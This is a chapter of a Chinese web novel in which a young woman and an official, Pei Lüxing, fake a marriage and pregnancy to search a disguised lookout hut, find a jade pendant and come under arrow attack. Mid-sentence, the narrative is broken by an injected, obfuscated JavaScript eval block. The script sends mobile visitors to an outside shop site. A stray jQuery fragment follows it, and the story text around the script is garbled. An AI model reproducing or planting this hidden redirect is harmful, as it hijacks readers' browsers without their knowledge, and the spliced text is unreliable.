游霜银还是第一次坐马车,再加上又是向上的山路,整个世界在她眼里颠成了正弦曲线。
她不得不扣住马车的窗户来保证自己不在颠簸下成为一头横冲乱撞的公牛。
正襟危坐的裴绿行在翻看书页间隙,抬起眼皮瞥了她一眼。
那被老鼠咬过的指尖已经结了疤,此刻正死死抠在窗框上,用力得指节都泛了白,这样折腾,怕不是又得上一次药。
他将书页翻过一页,淡淡开口,却没说什么关心的话,“这车是雇来的,别抠烂了。”
她被这话堵得一噎,下意识松手,车轮正巧碾过一块凸起的山石,车厢猛地一晃,她便整个人像出笼的猪一般撞到裴绿行怀里。
这一下猝不及防,她还没来得及惊呼,就闻到了他身上淡淡的沉香混合着冷冽龙脑的气味。
他这次倒不像上回那样手僵在那里无处安放,在她撞过来的那一刻,他就虚虚地扶住了她的肩膀,把她按回位置上,又把手很快地收了回去,“坐好。”
游霜银有些失了面子,尴尬地坐了回去,嘴上倒是硬气,“谁叫你要坐在那里的。”
裴绿行翻页的指尖一顿,“这是在下租的车。”
她理不只气也壮,“谁叫你租这么破的马车,活该被我——”
话还未说完,她猛地捂住嘴,脸色骤然变白,额头冒出细汗,忍了半天才把涌上喉头的酸意憋下去。
她趴倒窗外,朝正在赶车的赵云朗喊道:“停车!”
赵云朗不听她的,“游娘子,我们还没到呢。”
她快要憋不住了,“再不停车我就吐你家少卿身上。”
裴绿行合上书页吩咐道:“停车。”
马车停在半山腰上,竹林清幽,溪水澄莹,游霜银在这山明水秀之间大吐特吐,惊得飞鸟四散而飞。
“郎君,我就说直接租马就可以了,”赵云朗悄声跟裴绿行抱怨,他看了一眼吐个没完的游霜银,“现在怎么办?”
若是骑马,现在都该把整座山逛了一圈了,可三人此刻却仍在这前不着村后不着店的半山腰上,眼看着即将正午了,却是一无所获。
裴绿行仍然是气定神闲的模样,还有几分闲情逸致赏山玩水,“别急,我们就当是来山中散心的。”
赵云朗不解:“可是——”
话还未说完,正巧山道上钻出一位头戴斗笠的农夫,瞧着三四十的年纪,见到三人,笑呵呵迎了上来,“几位贵人,来此有何贵干啊?”
裴绿行见此农夫膀大腰圆,孔武有力,背着竹篓,竹篓里还放着一把镰刀,定然是精于农活,然而在一个早晨的劳作之后,竹篓里竟然还是空空如也。
他不动声色地按了赵云朗一把,又看了一眼还在吐个没完的游霜银,“我们见今日日丽风和,想到山中一观,车马劳顿,故停在此,也好中途歇息一番。”
农夫眼中现出几分警惕:“贵人真是说笑了,这荒山野岭哪有什么好景致?”
游霜银已经见有外人过来,草草收拾一番,走到那农夫面前,正准备说话,一条手帕递了过来。
缭绫的料子,粼粼如瀑布飞泉,一方手帕便可值百两。
游霜银不客气地从他手中抽出手帕,拿来给自己擦脸,却听见裴绿行下一句话语出惊人。
“我本外地客,今日携夫人出游,却因不认路,误入山间深处,夫人有孕,身娇体弱,还望老丈能行个方便,领在下和夫人到附近小屋中休息,再请贵府娘子帮忙照料一番。”
这一番话听得游霜银一愣一愣的,这里总共就四个人,其中只有她一个女性,所以裴绿行所说的有孕夫人,是,是她,吗?
他从袖口中翻出一吊钱来,交到农夫手中。
农夫第一反应却是推辞,言词结巴,“这,这……实不相瞒,我那内人回娘家去了,家中只有我一个,怕是不方便……”
这下连游霜银都看出了端倪。
寻常农人见着一吊钱,没有见钱不眼开的,而只有这农夫身上虽是粗布麻衣,然而却并无磨损痕迹,而且他看到那一吊钱时无丝毫特殊神情,就像见惯了钱一般。
这个农夫绝对不简单,他一定有隐瞒的东西。
她当即捂着肚子开始哀嚎,“哎哟,夫君,我好痛啊,怕不是要落红了,我的孩子,夫君一定要保住我的孩子……”
裴绿行也不知道她在哪学来这么多小词一套一套的,面上伸出手扶了她一把,又快速变了一张脸,疾言厉色地威胁农夫道:“我夫人怀着的可是我家三代单传的香火独苗,要是你这农夫见死不救,我就拉你见官去!”
农夫实在没辙,只得被迫同意了,“罢了罢了,你们几位跟我来吧。”
这出大戏直接把赵云朗看呆了,怎么两个人转眼就夫唱妇随,还把孩子都怀上了。
农夫的屋子建在幽篁深处,清幽到可闻鸟声。
裴绿行一路抱着游霜银进屋,把人放到床上,又拿出一锭银子,交予农夫:“我夫人体弱,大夫常言需要多用鸡肉进补,此间茂林修竹,虫鸣蝉噪,最适合养鸡,若能得老丈家中的山野母鸡进补,定可解她腹痛之急。”
农夫本欲推辞,可见了那雪白发亮的一锭银子,拒绝的话又堆在了喉头难以开口,“老汉我平时不养鸡,但打猎却是一流,贵人暂且候着,我去去就来。”
待农夫领了银子出门后,游霜银一个鲤鱼打挺从床上爬起来,自吹自擂道:“我这演技如何,够唬人吧?”
她伸出手做乞讨状,凑到裴绿行面前,嬉皮笑脸,“就是不知道各位看官打算打赏几两银子呢?”
裴绿行还真的往她手心里放了一个银锭。
游霜银立即见钱眼开,把银锭放嘴里一咬,确认过是真的后,还有些惊讶,“你真的给?”
裴绿行又朝她伸出手,“不要就还给我。”
游霜银立刻把银锭背到身后,“想得美,我现在是你夫人,你有多少银子就得我上交多少银子。”
赵云朗见过不少想占裴
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17898463|212902||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
绿行便宜的娘子,但没见过这么能占便宜的剽悍娘子,一辈子就能见着这么一回,实在是大开眼界。
他凑到裴绿行身边,附耳道:“郎君,现在怎么办?”
裴绿行环顾一圈,神色一凛,“现在我们身处敌阵,务必万事小心。”
赵云朗一惊,“以郎君的意思,我们已经找到了他们的窝点?”
裴绿行解释道:“你瞧此农夫,正值壮年,劳作至午时,竹篓却是空空如也,此外,他一个人独居于此,这里既无农田,他又不建鸡笼,以何糊口?”
赵云朗逐渐反应过来,恍然大悟,“郎君所言极是,他既说自己擅长打猎,便该随身携带弓箭,竹篓里却放着镰刀,前后矛盾,这分明是此人的伪装。”
裴绿行断言:“我看此屋定然是一处岗哨,此人伪装成农夫,日夜盯梢,防止他人误入。”
话音刚落就见游霜银手顺手拉开了农夫屋中的柜子。
他颇为无奈地叹道:“你这又是在干嘛?”
游霜银一边翻一边解释道:“你瞧他那副不为金钱所动的模样,肯定是见惯了好东西,让我见识见识。”
她翻完大箱,又开藤箧,竟翻出一块油光清润的玉佩来,通体没有杂质,触手生温,一看就不是凡品。
见裴绿行和赵云朗的视线盯着,她忸怩地把藤箧关上,“我就看看。”
在二人注意不到的地方,她用袖子将藤箧扫到身后,背身将玉佩拿进手里。
玉佩一到手,系统便弹了一条消息。
获得任务物品:[粮行掌柜的玉佩]
她雀跃地把玉佩举到裴绿行眼下,“你看,这是粮行掌柜的玉佩,证明他来过这里!”
裴绿行就知道她的手忍不住,轻叹一声,“我觉得眼下的状况不需要这块玉佩也能证明,粮行掌柜来过这里。”
他伸出手指去拿那块玉佩,却没想到游霜银指下用了力,死活不松手,“松手,你既然说这是掌柜之物,那这就算证物,归官府所有。”
游霜银从裴绿行手中护住玉佩,立即改口:“这就是一块普通的玉佩,谁说一定就是那个掌柜的了,裴少卿你不要太贪财!”
到底是谁贪财?
裴绿行现在越发觉得游霜银神秘了,他原本以为游霜银是背后势力派过来安插在他身边的探子,目的就是将他引到这里,一举击杀。
但哪有探子会偷自己同伙的财物的?
还是,她一直在演?
裴绿行收回眼神,望向远山之间,山间阴晴不定,转眼却起了大雾,天降欲雨,阑风渐起,竹枝婆娑,是个偷袭的好天气。
不知道那位农夫是不是此刻正埋伏在沉沉烟霭之下,等待着向猎物发出致命一击。
骤雨转眼淅沥而落,竹叶簌簌,而在这雨声竹声之下,却有另一种声音在酝酿。
弓箭被拉到了最满,对准了竹林深处的这个小屋。
“咻——”
漫天弓箭穿风破雨而来。